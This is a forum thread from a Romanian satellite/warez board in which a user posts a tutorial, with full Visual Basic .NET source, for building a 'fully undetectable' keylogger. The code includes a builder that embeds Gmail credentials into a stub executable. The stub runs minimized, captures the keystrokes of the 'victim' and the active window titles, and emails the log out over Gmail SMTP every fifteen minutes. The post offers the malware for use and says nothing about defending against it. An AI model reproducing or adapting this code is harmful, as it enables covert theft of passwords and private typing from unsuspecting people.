DIGITAL FREESAT FORUM
Here you find everything about the satellites for satellite receivers software, keys, movies, music ..... many other
Lista Forumurilor Pe Tematici
DIGITAL FREESAT FORUM | Inregistrare | Login

POZE DIGITAL FREESAT FORUM

Nu sunteti logat.
Nou pe simpatie:
iulian93 la Simpatie.ro
Femeie
25 ani
Ilfov
cauta Barbat
27 - 68 ani
DIGITAL FREESAT FORUM / Hacks, Exploits, and Various Discussions / Make Own FUD Keylogger in Visual Basic (Pictures Included) Moderat de grass
Autor
Mesaj Pagini: 1
bounidahl
Membru nou

Inregistrat: acum 16 ani
Postari: 21
Make Own FUD Keylogger in Visual Basic!

This is my new tutorial about making an keylogger in Visual Basic .NET, also called VB8. Before we start I'm going to explane you something more about Visual Basic. The Visual Basic is programming language created by Microsoft Corporation. Its most popular programming language in the world, its easy and good. For you just started with Visual Basic, this will be great tutorial to learn a bit more about it. Also if you are reading this tutorial, please dont just copy/paste .. the best way to learn is to read and study source. Even if its advance and hard to understand, you will find way to understand it .. like me.

OK, now i will explane you something about programming languages and how the computers understand them. A Computer cannot understand any persons spoken language. A spoken language such as English is simply too general and ambiguous for computers to understand. We must adapt to the machine and learn the computer language so that the computer can understand. This is where visual basic comes into it - when you type visual basic source code into the computer, the computer processes these statements into Visual Basic language.

WARNING: It doesnt work on Win7 & Vista because the name of .dll which I use to get keys isnt that name for vista & win7! You can google the name of .dll library to find for Windows7 & Vista

1. STEP

Download Microsoft Visual Studio Express - Build cutting edge Windows applications for free if you didnt already.

2. STEP

•Run Visual Basic

•In Tab click File > New Project

•Windows Application > "Keylogger Builder" > Click Ok



3. STEP

Change the following from the Properties of Form1:

FormBorderStyle = FixedSingle

MaximizeBox = False

MinimizeBox = False

Show Icon = False

StartPosition = CenterScreen

Text = Keylogger Builder





From the Toolbox add:

•TextBox1 - The GMail Username textbox

•Textbox2 - The Gmail Password textbox

•Button1 - The Build button, Change text to: Build

•Label1 - Change text to: Gmail Username

•Label2 - Change text to: Gmail Password



4. STEP

Now when you add all these, on top of code add:


Code:
Code:

Imports System.IONow under Public Class Form1 add following code, that would be strings:


Code:
Code:

Dim stub, text1, text2 As String

    Const FileSplit = "@keylogger@"Now when you done with that, just simply double click Button1 and add:


Code:
Code:

text1 = TextBox1.Text

        text2 = TextBox2.Text

        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

        stub = Space(LOF(1))

        FileGet(1, stub)

        FileClose(1)

        If File.Exists("Server.exe") Then

            My.Computer.FileSystem.DeleteFile("Server.exe")

        End If

        FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

        FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit)

        FileClose(1)

        MsgBox("The Server.exe is builded!")Now you got your builder and now lets move to Stub.

5. STEP

•Run Visual Basic

•In Tab click File > New Project

•Windows Application > "Stub" > Click Ok



6. STEP

Change the following from the Properties of Form1:

FormBorderStyle = FixedToolWindow

StartPosition = CenterScreen

Text = (no text)

WindowsState = Minimized

Explanation:



From the Toolbox add:

•Textbox1 - KEY LOGGER(follow everything what victim write)

•Textbox2 - GMail Username

•Textbox3 - GMail Password

•Timer1 - Upload Interval

•Timer2 - Get name of window where keylogger get

keys(userful)

•Timer3 - Get Keys

Explanation:



Timer1 Interval = 900000

Timer2 Interval = 100

Timer3 Interval = 100

7. STEP

Now when you add all these, on top of code add:


Code:
Code:

Imports System.IO

Imports System.Net.MailNow under Public Class Form1 add following code, that would be strings:


Code:
Dim options(), text1, text2 As String

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim result As Integer

    Const FileSplit = "@keylogger@"Now double click Timer1 and write following code:

Code:


Code:
  Dim MailSetup As New MailMessage

        MailSetup.Subject = My.Computer.Name & ":"

        MailSetup.To.Add(TextBox2.Text)

        MailSetup.From = New MailAddress(TextBox2.Text)

        MailSetup.Body = TextBox1.Text

        Dim SMTP As New SmtpClient("smtp.gmail.com")

        SMTP.Port = 587

        SMTP.EnableSsl = True

        SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)

        SMTP.Send(MailSetup)

        TextBox1.Clear()And add this as Function to source code:

DOWNLOAD HOW TO ADD FUNCTION IF YOU DONT KNOW: GetTheWindwos.rar

Code:


Code:
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32

    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32

    Dim strin As String = Nothing

    Private Function GetActiveWindowTitle() As String

        Dim MyStr As String

        MyStr = New String(Chr(0), 100)

        GetWindowText(GetForegroundWindow, MyStr, 100)

        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)

        Return MyStr

    End FunctionNow double click Timer2 to get names of active windows:

Code:


Code:
If strin <> GetActiveWindowTitle() Then

            TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine

            strin = GetActiveWindowTitle()

        End IfNow double click Form1 and write following code:

Code:


Code:
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)

        text1 = Space(LOF(1))

        text2 = Space(LOF(1))

        FileGet(1, text1)

        FileGet(1, text2)

        FileClose(1)

        options = Split(text1, FileSplit)

        TextBox2.Text = options(1)

        TextBox3.Text = options(2)

        Timer1.Start()

        Timer2.Start()Now double click Timer3 and past code:

Code:


Code:
For i = 1 To 255

            result = 0

            result = GetAsyncKeyState(i)

            If result = -32767 Then

                TextBox1.Text = TextBox1.Text + Chr(i)

            End If

        Next i8. STEP

You are done

Download Project:

Keylogger.rar


pus acum 16 ani
   
Pagini: 1  

Mergi la